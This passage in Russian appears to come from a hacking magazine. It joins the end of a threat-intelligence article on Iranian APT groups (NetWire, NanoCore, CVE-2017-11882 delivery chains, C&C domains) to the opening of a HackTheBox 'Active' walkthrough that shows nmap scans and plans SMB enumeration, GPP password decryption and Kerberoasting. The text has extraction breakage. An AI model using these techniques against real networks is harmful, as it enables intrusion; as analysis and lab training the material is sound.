были зашиф рованы. Отдель ные модули так же были защище ны метода ми сте‐ 
ганог рафии  (выг лядели  как  изоб ражения  PNG).  Дек риптор  не  пред став лял
угро зы  с  точ ки  зре ния  поведен ческо го  ана лиза,  а  сиг натур  дол гое  вре мя
не было.

NanoCore

Стра ница нас тро ек пла гинов NanoCore

По вер хностный ана лиз про цес сов не поз волял с ходу выявить NanoCore, пос‐ 
коль ку он мас кировал ся сре ди сис темных (исполь зовал ся инжект .dll). Тра фик
на пер вый взгляд  тоже казал ся безобид ным — обмен пакета ми про исхо дил
с  узла ми   и  ,  в реаль нос ти ока‐ 
зав шимися C&C‐сер верами.

microsoftupdated.com managehelpdesk.com

Пос ле  арес та  Хадл сто на  в  середи не  2017  года  APT33  перек лючилась
на внед рение кей лог гера NetWire, чьи модифи кации  .
Его  основное  наз начение  —  перех ват  кла виатур ных  нажатий  в  поис ках
паролей и дру гой кон фиден циаль ной информа ции, одна ко воз можность уста‐ 
новить обратный прок си прев раща ет NetWire в уни вер саль ный бэк дор.

при меня ются до сих пор

Ин терфейс NetWire

Он выпол няет раз ведку и сбор поль зователь ских дан ных, пос ле чего заг ружа‐ 
ет их на C&C‐сер вер и ждет от него даль нейшие коман ды. NetWire исполь зует
собс твен ный  алго ритм  шиф рования  дан ных,  а  затем  отправ ляет  их
как лог‐файл.

До пол нитель но  в  NetWire  при меня ется  обфуска ция,  что бы  скрыть
от защит ных прог рамм сбор паролей и дру гой кон фиден циаль ной информа‐ 
ции. Все тех нологии пре дот вра щения уте чек исполь зуют ста тис тичес кий ана‐ 
лиз,  который  ока зыва ется  бес полез ным,  если  кон фиден циаль ные  дан ные
пред варитель но раз бива ются на час ти и переда ются по раз ным каналам.

Лег кость пор тирова ния NetWire  при вела  к  тому,  что его ста ли при менять
и  в  тех  слу чаях,  ког да  на  целевых  компь юте рах  была  уста нов лена  Linux
или macOS, но в боль шинс тве слу чаев тро ян про никал в кор поратив ную сеть
имен но через «окна».

В  фев рале  2019  года  тех ника  дос тавки  NetWire  целевым  компь юте рам
на  плат форме  Windows  изме нилась.  Была  зарегис три рова на  мас штаб ная
фишин говая кам пания с внед рени ем кода через PowerShell и .NET Framework.

Осо бен ность  в  том,  что  сце нарий  PS  может  заг рузить  с  про изволь ного
URL сбор ку .NET непос редс твен но в память PowerShell и сра зу выпол нить ее
в кон тек сте про цес са, не соз давая PE‐фай лы на дис ке.

В  ходе  недав ней  фишин говой  ата ки  сот рудни кам  ави аком паний  пред‐ 
лагалось  открыть  с  Google.Disk  VB‐скрипт.  Бла года ря  длин ному  наз ванию
и  изме нен ной  икон ке  он  выг лядел  как  пре зен тация  нового  самоле та,  тех‐ 
ничес кие  харак терис тики  извес тной  модели  или  дру гие  важ ные  докумен ты.
Облачный сер вис хра нения поз волил обой ти пра вила фай рво ла и нас трой ки
бра узе ра, бло киру ющие заг рузки с сай тов, име ющих низ кую репута цию.

Даль нейшая попыт ка открыть скрипт вызыва ла пре дуп режде ние о том, что
его соз датель не может быть про верен, одна ко боль шинс тво поль зовате лей
прос то игно риро вали это пре дуп режде ние и раз решали запуск вруч ную.

Код ска чан ного VB‐скрип та был обфусци рован за счет час той кон версии
hex‐bin и исполь зования мно жес тва перемен ных. Он запус кал сце нарий Pow‐
erShell,  который  заг ружал  с    дру гой  VB‐скрипт. Этот  сайт  был
выб ран  из‐за  исполь зования  TLS  (невоз можно  про верить  зашиф рован ный
тра фик).

www.paste.ee

Фраг мент обфусци рован ного PS‐сце нария с заг рузкой дочер него
скрип та

Ес ли прис мотришь ся к это му фраг менту кода, то уви дишь, что в сце нарии PS
исполь зуют ся  готовые  методы  .NET  Framework.  В  при мере  выше  исполь‐ 
зовали метод    из дот нетов ско го  клас са  .
Так хакеры смог ли получить дос туп к его эле мен там из PowerShell ана логич но
тому, как это дела ется в C#.

Load System.Reflection.Assembly

Ин тегра ция  .NET  с  PowerShell  осо бен но  прив лекатель на  для  зло умыш‐ 
ленни ков,  пос коль ку  тра дици онные  средс тва  безопас ности  не  уме ют  ана‐ 
лизи ровать такую связ ку. Они про веря ют толь ко наличие потен циаль но опас‐ 
ных команд в сце нари ях PS и отдель но кон тро лиру ют про цес сы .NET во вре мя
их выпол нения.

Скрипт иден тифици рует уста нов ленную вер сию .NET Framework и исполь‐ 
зует  ее  поз же  для  динами чес кого  опре деле ния  пути  к  рабоче му  катало гу.
Декоди рован ная сбор ка дроп пера переда ется в метод   в качес тве аргу‐ 
мен та,  и  получен ный  экзем пляр  клас са  сох раня ется  как  перемен ная. Далее
через нее про исхо дит обра щение к зашиф рован ным объ ектам дроп пера.

Load

На финаль ном эта пе ата ки исполь зует ся метод   и рас шифро ван ный тро‐ 
ян  NetWire  инжекти рует ся  в  дот нетов ский  кон соль ный  про цесс 

 (InstallUtil.exe). Как же он это дела ет?

R
Installer 

tool
Ког да вызыва ется метод  ,  авто мати чес ки запус кает ся 

в  режиме  ожи дания.  Бло ки  памяти  при оста нов ленно го  про цес са  переза‐ 
писы вают ся боевой наг рузкой, код которой переда ется в качес тве аргу мен та
методу  .  Как  резуль тат  —  поведен ческие  ана лиза торы  мол чат,  тро яна
не  вид но  в  спис ке  запущен ных  про цес сов,  а  механизм  его  попада ния
на компь ютер край не труд но вос ста новить при ана лизе логов.

R InstallUtil.exe

R

Рас простра нению  тро яна  помога ло  и  то,  что  вто рой  скрипт  копиро вал ся
в  . Этот каталог слу жит для син хро низа ции нас тро ек при‐ 
ложе ний  и  про чих  поль зователь ских  дан ных  меж ду  раз ными  устрой ства ми.
Поэто му,  ког да  поль зователь  с  домен ной  учет кой  авто ризу ется  на  дру гом
компь юте ре  той  же  локаль ной  сети,  вре донос ный  VB‐скрипт  авто мати чес ки
копиру ется и на него тоже.

\Appdata\Roaming

APT34 (AKA OILRIG)
В отли чие  от  боль шинс тва  хакер ских  групп,  APT34  в  сво ей  стра тегии  ред ко
исполь зует методы соци аль ной инже нерии. Она ори енти рует ся на уяз вимос‐ 
ти  в  мас совом  ПО,  которые  дают  воз можность  уда лен но  выпол нить  про‐ 
изволь ный код без слож ного вза имо дей ствия с поль зовате лем.

Эта груп па дей ству ет на Ближ нем Вос токе с 2014 года, в основном ата куя
государс твен ные  учрежде ния  реги ональ ных  про тив ников  Ира на,  их  финан‐ 
совые  и  телеком муника цион ные  ком пании.  APT34  хорошо  финан сиру ется,
о чем сви детель ству ет при мене ние бэк дора собс твен ной раз работ ки и быс‐ 
трая реак ция на появ ление уяз вимос тей.

По жалуй,  самая  слож ная  и  мно гоэтап ная  ата ка  была  устро ена
APT34  в  нояб ре  2017  года  вско ре  пос ле  того,  как Microsoft  устра нила  кри‐ 
тичес кую уяз вимость   в Office. Менее чем через неделю, ког‐ 
да  еще  не  были  опуб ликова ны  под робнос ти,  а  боль шинс тво  орга низа ций
не успе ло уста новить патч, APT34 успешно при мени ла соот ветс тву ющий экс‐ 
пло ит.

CVE‐2017‐11882

Схе ма  внед рения  бэк дора  была  слож ной  и  поз волила  обой ти  тра дици‐ 
онные  средс тва  защиты,  вклю чая  репута цион ный  и  поведен ческий  ана лиз.
Сле ди за руками…

Схе ма зараже ния бэк дором, исполь зован ная APT34. Источник:
fireeye.com

К началу 2018 года сети пра витель ствен ных учрежде ний в Саудов ской Ара вии
и ряде дру гих стран ока зались зараже ны через пись мо с вло жени ем в фор‐ 
мате  RTF.  Анти виру сы  его  игно риро вали,  так  как  сиг натуры  еще  не  было,
а эвристи чес кий эму лятор не обна ружи вал ничего подоз ритель ного.

Файл  .rtf откры вал ся в MS Word, и Word  (пос коль ку в нем были фор мулы)
авто мати чес ки  запус кал  вхо дящий  в  сос тав  MS  Office  редак тор  фор мул

.  На  момент  ата ки  он  содер жал  ошиб ку  обра бот ки  объ ектов
в  памяти,  поз воляв шую  уда лен но  выпол нить  про изволь ный  код  с  пра вами
текуще го поль зовате ля.

eqnedt32.exe

Бла года ря тех нологии OLE редак тор фор мул дос тупен из всех докумен тов
MS Office. При вызове он соз дает ся как отдель ный про цесс и рань ше не про‐ 
верял  дли ну  дан ных  на  вхо де,  поэто му  через  него  лег ко  было  вызывать
перепол нение сте ка.

«Ну и что? — ска жешь ты. — Windows дав но раз меща ет про цес сы в слу‐ 
чай ных  адре сах  опе ратив ки,  поэто му  тол ку  от  перепол нения  сте ка —  ноль.
Хакер не зна ет, куда попадет его код».

Фиш ка в том, что   — очень ста рый ком понент. Он был ском‐ 
пилиро ван  еще  в  те  вре мена,  ког да  никакой  ран домиза ции  раз мещения
адресно го прос транс тва  (ASLR) в Windows не было. Поэто му редак тор фор‐ 
мул MS Office всег да заг ружал ся по одним и тем же адре сам и забот ливо раз‐ 
мещал по фик сирован ному адре су «боевую наг рузку» вмес то слиш ком длин‐ 
ных урав нений.

eqnedt32.exe

Ре дак тор  фор мул  вызывал  из    фун кцию  ,  через
которую от име ни текуще го поль зовате ля запус кался дочер ний про цесс 

  (см. Microsoft  HTML  Application Host  в  опи сании  тех ник  дру гой  груп‐ 
пы  —  APT33).  Он  заг ружал  с  уда лен ного  узла  вре донос ный  VB‐скрипт
под видом тек сто вого фай ла  (все *.txt обыч но исклю чены из про вер ки ради
ее уско рения).

kernel32.dll WinExec
msh‐

ta.exe

Да лее  у  ска чан ного  фай ла  менялось  рас ширение  с    на  ,  и  он
запус кался  на  исполне ние  как  локаль но  соз данный  скрипт,  обхо дя  репута‐ 
цион ный ана лиз.

.txt .vbs

На сле дующем шаге этот VB‐скрипт соз давал по адре су 
  два  фай ла  в  кодиров ке  Base64:

  и   —  плюс  бат ник 
  и  еще  один  скрипт  с  безобид ным  наз вани ем 

.

%SystemDrive%\
ProgramData\Windows\Microsoft\java\
hUpdateCheckers.base dUpdateCheckers.base cUpdate‐
Checkers.bat GoogleUp‐
dateschecker.vbs

Фраг мент основно го VB‐скрип та, соз дающе го дочер ние ком понен ты
для внед рения бэк дора

Да лее основной скрипт исполь зовал стан дар тную ути литу коман дной стро ки
 для декоди рова ния Base64 и сох ранял резуль тат в виде пары

сце нари ев PowerShell. Они так же выг лядели как локаль но соз данные текущим
поль зовате лем и не вызыва ли подоз рения у защит ных прог рамм.

CertUtil.exe

Файл   соз давал в пла ниров щике заданий авто мати‐ 
чес кий запуск   и запус кал даль нейшие про цеду‐ 
ры  пос ле  паузы  в  пять  секунд,  а  затем  бат ник  и  закоди рован ные
в Base64 фай лы уда лялись основным скрип том.

cUpdateCheckers.bat
GoogleUpdateschecker.vbs

На  финаль ном  эта пе  из  пер вого  сце нария  PowerShell  запус кался  тро‐ 
ян‐дроп пер  ,  который  исполь зовал  про цеду ру  генера ции  псев‐ 
дослу чай ных  домен ных  имен  (DGA)  для  соеди нения  с  управля ющим  сер‐ 
вером. DGA силь но осложня ла бло киров ку C&C‐сер веров,  пос коль ку  все их
аль тер натив ные име на было невоз можно вычис лить, не зная алго рит ма.

BondUpdater

Пос ле получе ния откли ка тро ян запус кал из вто рого PS‐сце нария бэк дор
 и сооб щал ему текущий адрес C&C. С это го момен та заражен ный

компь ютер пол ностью кон тро лиро вал ся APT34 уда лен но.
PowRuner

Ин терес но,  что  в  2017–2018  годах  рос сий ская  хакер ская  груп па  Turla
исполь зовала  заражен ные  APT34  компь юте ры  для  рас простра нения  собс‐ 
твен ных  вре донос ных  прог рамм,  вклю чая модифи кации  на базе раз работок
АНБ.  Под робнее  об  этом  уди витель ном  при мере  двой ного  взло ма  читай

.здесь

APT39
Но вая  хакер ская  груп па,  дей ству ющая  в  инте ресах  пра витель ства  Ира на.
Воз можно, ранее называ лась Chafer или была  тес но свя зана с ней. Самос‐ 
тоятель но ста ла выпол нять мас штаб ные ата ки с начала 2019 года.

APT39 ата кует про вай деров, опе рато ров свя зи, дип ломати чес кие кон суль‐ 
ства,  турис тичес кие  агентства,  оте ли  и  круп ные  ИТ‐ком пании.  С  боль шой
веро ятностью  груп па  дела ет  это  для  сбо ра  кон фиден циаль ных  дан ных
и общих све дений о кли ентах, что бы задей ство вать их в будущих фишин говых
кам пани ях.

Как и мно гие груп пы, APT39 исполь зует микс из собс твен ных и обще дос‐ 
тупных  хакер ских  ути лит.  Сре ди  пос ледних  наибо лее  час то  встре чает ся

,  перепа кован ная  для  обхо да  анти виру сов.  Это  типич ная  ситу ация,
а  вот  исполь зование  PowBat  (модифи кации  бэк дора  PowRuner)  дает  осно‐ 
вание пред положить вза имо дей ствие APT39 с APT34 или дос туп обе их групп
к общим ресур сам.

Mimikatz

Пер вая фаза атак APT39 стан дар тна и начина ется с рас сылки фишин говых
писем.  Для  боль шей  убе дитель нос ти  груп па  регис три рует  домены,  мимик‐ 
риру ющие  под  сай ты  орга низа ций,  потен циаль но  инте рес ных  намечен ным
жер твам.

Так же APT39 регуляр но заража ет уяз вимые веб‐сер веры нас тоящих орга‐ 
низа ций и уста нав лива ет на них веб‐обо лоч ку   или  . Пос ле это‐ 
го  хакер ская  груп па  рас сыла ет  фишин говые  пись ма  с  нас тоящих  адре сов
извес тных фирм — исполь зует укра ден ные на сай те учет ные дан ные для ком‐ 
про мета ции внеш них ресур сов Outlook Web Access (OWA).

Antak ASPXSPY

На сле дующем эта пе APT39 уста нав лива ет кон троль над целевы ми компь‐ 
юте рами,  внед ряя  на  них  бэк доры  PowBat,  SeaWeed  или  CacheMoney.  Их
модифи кации попада ются экспер там с декаб ря 2018‐го по нас тоящее вре мя,
но полагать ся на сиг натуры сей час было бы опро мет чиво. Как пра вило, каж‐ 
дый  раз  в  новых  ата ках  исполь зуют ся  слег ка  изме нен ные  вари анты.  Злов‐ 
редов пра вят ров но нас толь ко, что бы их сно ва не обна ружи вали анти виру сы.

Тех ника дос тавки «боевой наг рузки» у новой груп пы слож ная, и ее как раз
изу чают  в  нас тоящее  вре мя.  В  общих  чер тах  она  схо жа  с  таковой  у  APT34.
Обыч но  в  качес тве  обер тки  исполь зуют ся  модифи циро ван ные  докумен ты
офис ного  фор мата,  а  управле ние  переда ется  вре донос ному  скрип ту  из‐за
мало извес тных осо бен ностей пар синга докумен тов.

Скрыть потен циаль но опас ные дей ствия поз воля ет локаль ная сбор ка бэк‐ 
дора, час ти которо го заг ружа ются в виде безобид ных фай лов на раз ных эта‐ 
пах ата ки. Каж дая из них по отдель нос ти не пред став ляет угро зы и про ходит
все мыс лимые про вер ки, а на финаль ном эта пе выпол няет ся сце нарий Pow‐
erShell, который декоди рует и запус кает уни вер саль ный бэк дор.

Со бира емые дан ные перед отправ кой раз бива ются на фраг менты и сох‐ 
раня ются в архив с пароль ной защитой  (ZIP или RAR), пос ле чего пере име‐ 
новы вают ся  (нап ример,  в  .log). Сес сии под бира ются  корот кие,  а  уда лен ные
сер веры  обыч но  име ют  адре са,  похожие  на  сай ты  обновле ний.  Повер‐ 
хностный ана лиз тра фика тоже не выяв ляет ничего подоз ритель ного.

ВЫВОДЫ
Сей час  в  инте ресах  пра витель ства  Ира на  дей ству ет  нес коль ко  хакер ских
групп.  У  них  перек лика ются  исполь зуемые  ком понен ты,  одна ко  силь но  раз‐ 
лича ются методы и  конеч ные цели. APT33 час то при меня ет вай пер для уда‐ 
лен ных  дивер сий,  полага ясь  при  его  внед рении  в  основном  на  соци аль ную
инже нерию.  APT34  пре иму щес твен но  занима ется  шпи она жем  на  уров не
госуч режде ний, исполь зуя слож ные экс пло иты и не наде ясь на бес печность
поль зовате лей.  APT39  пока  собира ет  пер сональ ные  дан ные,  готовясь
к чему‐то боль шему.

Инс тру мен ты иран ских хак‐групп пол ностью оправды вают при над лежность
к APT — слож ным пер систи рующим угро зам. Из‐за хорошей мас киров ки мно‐ 
гоэтап ного про цес са внед рения бэк дора сам факт зараже ния час то оста ется
незаме чен ным по нес коль ко недель и даже месяцев.

Иног да в ходе рутин ных про верок адми ны дума ют, что наш ли и устра нили
типовую угро зу, в то вре мя как они уда лили толь ко часть потен циаль но опас‐ 
ных фай лов. С боль шой веро ятностью ком понен ты злов реда будут вновь соз‐ 
даны по рас писанию или заг ружены по коман де управля юще го сер вера.

Пол ная пере уста нов ка ОС не реша ет проб лему, так как пос ле син хро низа‐ 
ции  дан ных  из  ском про мети рован ной  учет ной  записи  с  боль шой  веро‐ 
ятностью про изой дет пов торное зараже ние.

Уни вер саль ного  про тиво дей ствия  APT  не  сущес тву ет.  На  сегод няшний
день  ни  одно  средс тво  безопас ности  не  обес печива ет  авто мати чес кой
защиты  от  тар гетиро ван ных  атак.  Оно  прос то  зат рудня ет  их  выпол нение
и меша ет поль зовате лям «выс тре лить себе в ногу».

WWW

•APTs at MITRE
•Symantec Threat Intelligence
•Malpedia
•APT34 at GitHub
•FireEye
•ClearSky CyberSecurity

https://attack.mitre.org/software/S0199/
https://securelist.ru/from-shamoon-to-stonedrill/30350/
https://github.com/solevisible/ALFA-SHELL-V3
https://xakep.ru/2016/04/22/nanocore-fileless-rat/
https://xakep.ru/2019/06/21/second-ff-0day/
https://xakep.ru/2017/11/15/november-patch-tuesday-2/
https://attack.mitre.org/software/S0360/
https://attack.mitre.org/software/S0184/
https://xakep.ru/2019/06/21/turla-oilrig/
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ВЗЛОМ

В  этой  статье  я  покажу,  как  прой ти  путь
с  нуля  до  пол ноцен ного  адми нис тра тора
кон трол лера  домена  Active  Directory,
а  поможет  нам  одна  из  вир туалок,  дос‐ 
тупных  для  взло ма  на CTF‐пло щад ке 

.  Пусть  это  и  не  самая  слож ная
машина,  но  овла деть  навыка ми  работы
с  AD  край не  важ но,  если  ты  собира ешь ся
пен тестить кор поратив ные сети.

Hack‐
TheBox

INFO

HackTheBox  (HTB)  —  полузак рытая  пло щад ка
для хакер ских сорев нований CTF. Что бы получить
инвайт,  нуж но  прой ти  неболь шое  испы тание.
Пос ле  это го  тебе  дадут  дос туп  к  десят кам
заведо мо уяз вимых вир туаль ных машин и ты смо‐ 
жешь  про качи вать  навыки  пен тесте ра.  Автор
статьи  успел  пот ратить  немало  сил  в  погоне
за высокой строч кой в рей тин говой таб лице HTB.

HTB — Active

Кон трол лер домена Active Directory — это кри тичес ки важ ная сос тавля ющая
поч ти  любой  сов ремен ной  IT‐инфраструк туры.  Служ ба  катало гов  Windows
Server  всег да  была желан ным  объ ектом  кон тро ля  для  наруши телей,  решив‐ 
ших проч но обус тро ить ся внут ри кор поратив ной сети. Поэто му аспекты обес‐ 
печения защиты AD — живот репещу щая тема для обсужде ния в любой ком‐ 
пании иссле дова телей кибер безопас ности.

Вир туал ка,  которую  мы  будем  ломать,  называ ется  Active.  Ее  слож ность
оце нива ется сооб щес твом невысо ко — 4,6 бал ла из 10. Вот что нам пред сто‐ 
ит про делать с ней:

сбор информа ции о раз деля емых SMB‐ресур сах (про буем ряд кру тых ути‐ 
лит: smbclient, smbmap, enum4linux, nullinux);

•

раз граб ление SMB с ано ним ным дос тупом для зах вата фай ла кон фигура‐ 
ций груп повых политик  ;

•
Groups.xml

дек рипт GPP‐пароля из той самой  ;• Groups.xml

по луче ние дос тупа к внут ридомен ному акка унту, ата ка Kerberoasting (про‐ 
тив про токо ла аутен тифика ции Kerberos), извле чение тикета адми нис тра‐ 
тора с помощью кол лекции скрип тов impacket;

•

на конец,  офлай новое  вос ста нов ление  пароля  адми нис тра тора  из  хеша
с помощью Hashcat для окон чатель ного зах вата кон трол лера.

•

«…Лежа в пещере сво ей, в три глот ки лаял огромный Цер бер, и лай
гро мовой огла шал мол чаливое царс тво…»

РАЗВЕДКА
На чаль ная ста дия — сбор информа ции об объ екте иссле дова ния для даль‐ 
нейше го ана лиза. От качес тва этой фазы во мно гом зависит успешность пла‐ 
ниру емой  ата ки.  Мы  соберем  необ ходимые  све дения,  которые  опре делят
век тор про ник новения в сис тему.

Nmap
Сле дуя хороше му тону, спер ва акку рат но «про щупа ем» вир туал ку на пред мет
откры тых  пор тов  с  помощью  Nmap:  пока  не  исполь зуем  тяжелую  артилле‐ 
рию — скрип товые обве сы NSE и опре деле ние вер сий запущен ных сер висов,
ина че вре мя ска ниро вания сущес твен но  уве личи лось бы. Зада ем интенсив‐ 
ность  в  5000  пакетов  в  секун ду  (име ет  смысл,  ког да  работа ешь  с  хос том
на  Windows,  к  которо му,  помимо  тебя,  одновре мен но  сту чит ся  еще  сот‐ 
ня‐дру гая  поль зовате лей HTB)  и  на  вся кий  слу чай  зап росим отче ты  во  всех
фор матах ( ,  ,  ) с помощью фла га  ..nmap .gnmap .xml ‐oA

 

 

root@kali:~# nmap ‐n ‐vvv ‐sS ‐Pn ‐‐min‐rate 5000 ‐oA nmap/initial 
10.10.10.100

Смот рим отчет.

 

 

root@kali:~# cat nmap/initial.nmap 

 
 

 
 

 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

  
 

# Nmap 7.70 scan initiated Sat Dec 15 23:26:06 2018 as: nmap ‐n ‐vvv ‐sS 
‐Pn ‐‐min‐rate 5000 ‐oA nmap/initial 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received user‐set (0.14s latency).
Scanned at 2018‐12‐15 23:26:06 MSK for 1s
Not shown: 983 closed ports
Reason: 983 resets
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn‐ack ttl 127
88/tcp    open  kerberos‐sec     syn‐ack ttl 127
135/tcp   open  msrpc            syn‐ack ttl 127
139/tcp   open  netbios‐ssn      syn‐ack ttl 127
389/tcp   open  ldap             syn‐ack ttl 127
445/tcp   open  microsoft‐ds     syn‐ack ttl 127
464/tcp   open  kpasswd5         syn‐ack ttl 127
593/tcp   open  http‐rpc‐epmap   syn‐ack ttl 127
636/tcp   open  ldapssl          syn‐ack ttl 127
3268/tcp  open  globalcatLDAP    syn‐ack ttl 127
3269/tcp  open  globalcatLDAPssl syn‐ack ttl 127
49152/tcp open  unknown          syn‐ack ttl 127
49153/tcp open  unknown          syn‐ack ttl 127
49154/tcp open  unknown          syn‐ack ttl 127
49155/tcp open  unknown          syn‐ack ttl 127
49157/tcp open  unknown          syn‐ack ttl 127
49158/tcp open  unknown          syn‐ack ttl 127

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Dec 15 23:26:07 2018 ‐‐ 1 IP address (1 host up) 
scanned in 0.80 seconds

Зна чение TTL еще раз под твержда ет, что это тач ка с Windows. Мно го откры‐ 
тых  пор тов,  мно го  сер висов.  Повысим  детали зацию  и  узна ем  вер сии  все го
того,  что  запуще но,  задей ство вав  заод но флаг  .  Он  добавит  к  ска ниро‐ 
ванию дефол тные скрип ты из арсе нала NSE.

‐sC

 

 

root@kali:~# nmap ‐n ‐vvv ‐sS ‐sV ‐sC ‐oA nmap/version ‐‐stylesheet 
nmap‐bootstrap.xsl 10.10.10.100 
root@kali:~# cat nmap/version.nmap 

 
 

 
 

 
 

 

 
 

 

 
 

 

 
 
 

 
 

 
 

 
 
 
 

 
 

 
  

 
 

 
 

 
 

 
 

 
 

 
 

 
 

 
  

 

 

# Nmap 7.70 scan initiated Sat Dec 15 23:26:38 2018 as: nmap ‐n ‐vvv ‐sS 
‐sV ‐sC ‐oA nmap/version ‐‐stylesheet nmap‐bootstrap.xsl 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received echo‐reply ttl 127 (0.14s latency).
Scanned at 2018‐12‐15 23:26:38 MSK for 200s
Not shown: 983 closed ports
Reason: 983 resets
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn‐ack ttl 127 Microsoft DNS 6.1.7601 (
1DB15D39) (Windows Server 2008 R2 SP1)
| dns‐nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos‐sec  syn‐ack ttl 127 Microsoft Windows Kerberos 
(server time: 2018‐12‐15 20:19:56Z)
135/tcp   open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios‐ssn   syn‐ack ttl 127 Microsoft Windows netbios‐
ssn
389/tcp   open  ldap          syn‐ack ttl 127 Microsoft Windows Active 
Directory LDAP (Domain: active.htb, Site: Default‐First‐Site‐Name)
445/tcp   open  microsoft‐ds? syn‐ack ttl 127
464/tcp   open  kpasswd5?     syn‐ack ttl 127
593/tcp   open  ncacn_http    syn‐ack ttl 127 Microsoft Windows RPC over 
HTTP 1.0
636/tcp   open  tcpwrapped    syn‐ack ttl 127
3268/tcp  open  ldap          syn‐ack ttl 127 Microsoft Windows Active 
Directory LDAP (Domain: active.htb, Site: Default‐First‐Site‐Name)
3269/tcp  open  tcpwrapped    syn‐ack ttl 127
49152/tcp open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
49157/tcp open  ncacn_http    syn‐ack ttl 127 Microsoft Windows RPC over 
HTTP 1.0
49158/tcp open  msrpc         syn‐ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:win‐
dows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock‐skew: mean: ‐7m07s, deviation: 0s, median: ‐7m07s
| p2p‐conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 53842/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40109/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 43653/udp): CLEAN (Timeout)
|   Check 4 (port 38631/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2‐security‐mode:
|   2.02:
|_    Message signing enabled and required
| smb2‐time:
|   date: 2018‐12‐15 23:20:56
|_  start_date: 2018‐12‐11 03:34:26

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
# Nmap done at Sat Dec 15 23:29:58 2018 ‐‐ 1 IP address (1 host up) 
scanned in 200.67 seconds

INFO

Nmap  поз воля ет  генери ровать  кра сивые  отче ты
в  HTML  с  помощью  опции  .
Для это го толь ко нуж но соз дать под ходящий шаб‐ 
лон  XSL‐таб лицы  сти лей  или  вос поль зовать ся
готовым.  К  при меру,  хороший  вари ант  — 

.

‐‐stylesheet

nmap‐
bootstrap‐xsl

По резуль татам рас ширен ного ска ниро вания зак люча ем:
это кон трол лер домена Active Directory с име нем домена  ;• active.htb

ОС — Windows Server 2008 R2 SP1;•
 (он же Microsoft Directory Services, или SMB) — сетевые

раз деля емые  ресур сы  SMB,  в  прос тонародье  «SMB‐шары»  вер‐ 
сии 2 на 445‐м пор те;

• microsoftds?

сис тема аутен тифика ции Kerberos на 88‐м пор те.•

Нач нем с оче вид ного — пос мотрим, что скры вает SMB.

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://www.hackthebox.eu/
https://github.com/honze-net/nmap-bootstrap-xsl
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Эну мера ция SMB — порт 445
Об этом мож но было бы написать отдель ную статью, но здесь мы лишь вкрат‐ 
це рас смот рим софт для сры ва пок ровов с SMB‐шар.

NSE (Nmap Scripting Engine)
У  все могу щего  Nmap  есть  арсе нал  скрип тов  на  все  слу чаи  жиз ни.  Вытяги‐ 
вание  информа ции  об  SMB  —  не  исклю чение.  Пос мотрим,  что  есть  в  его
ассорти мен те  из  катего рий  default,  version  и  safe,  исполь зовав  кон текс тный
поиск по фай лам с рас ширени ем   в Kali Linux..nse

 

 

root@kali:~# locate ‐r '.nse$' | xargs grep categories | grep 
'default|version|safe' | grep smb 

 

 
 

 

 

 

 

 

 

 

 

/usr/share/nmap/scripts/smb‐double‐pulsar‐backdoor.nse:categories = {
"vuln", "safe", "malware"}
/usr/share/nmap/scripts/smb‐enum‐services.nse:categories = {"discovery",
"intrusive","safe"}
/usr/share/nmap/scripts/smb‐ls.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb‐mbenum.nse:categories = {"discovery", 
"safe"}
/usr/share/nmap/scripts/smb‐os‐discovery.nse:categories = {"default", 
"discovery", "safe"}
/usr/share/nmap/scripts/smb‐protocols.nse:categories = {"safe", "discov‐
ery"}
/usr/share/nmap/scripts/smb‐security‐mode.nse:categories = {"default", 
"discovery", "safe"}
/usr/share/nmap/scripts/smb‐vuln‐ms17‐010.nse:categories = {"vuln", 
"safe"}
/usr/share/nmap/scripts/smb2‐capabilities.nse:categories = {"safe", 
"discovery"}
/usr/share/nmap/scripts/smb2‐security‐mode.nse:categories = {"safe", 
"discovery", "default"}
/usr/share/nmap/scripts/smb2‐time.nse:categories = {"discovery", "safe", 
"default"}
/usr/share/nmap/scripts/smb2‐vuln‐uptime.nse:categories = {"vuln", 
"safe"}

Нап равим безопас ные (safe) тво рения скрип тового движ ка на 445‐й порт:

 

 

root@kali:~# nmap ‐n ‐‐script safe ‐oA nmap/nse‐smb‐enum ‐
p445 10.10.10.100 
root@kali:~# cat nmap/nse‐smb‐enum.nmap 

 
 
 

 
 

 
 

 
 

 
 

 
 

 
 

 
 

  
 

 
 

  
 

 
 

 

 
 

 

 
 

 
 
 

 
 

 
 

 
 

 
 

 
 

 
 

 
 

 
  

 
 

 

# Nmap 7.70 scan initiated Sun Dec 16 00:03:51 2018 as: nmap ‐n ‐‐script 
safe ‐oA nmap/nse‐smb‐enum ‐p445 10.10.10.100
Pre‐scan script results:
| broadcast‐dhcp‐discover:
|   Response 1 of 1:
|     IP Offered: 10.0.2.16
|     Subnet Mask: 255.255.255.0
|     Router: 10.0.2.2
|     Domain Name Server: 192.168.1.1
|_    Server Identifier: 10.0.2.2
| broadcast‐ping:
|   IP: 192.168.1.140  MAC: 52:54:00:12:35:02
|_  Use ‐‐script‐args=newtargets to add the results as targets
|_eap‐info: please specify an interface with ‐e
| targets‐asn:
|_  targets‐asn.asn is a mandatory parameter
Nmap scan report for 10.10.10.100
Host is up (0.14s latency).

PORT    STATE SERVICE
445/tcp open  microsoft‐ds
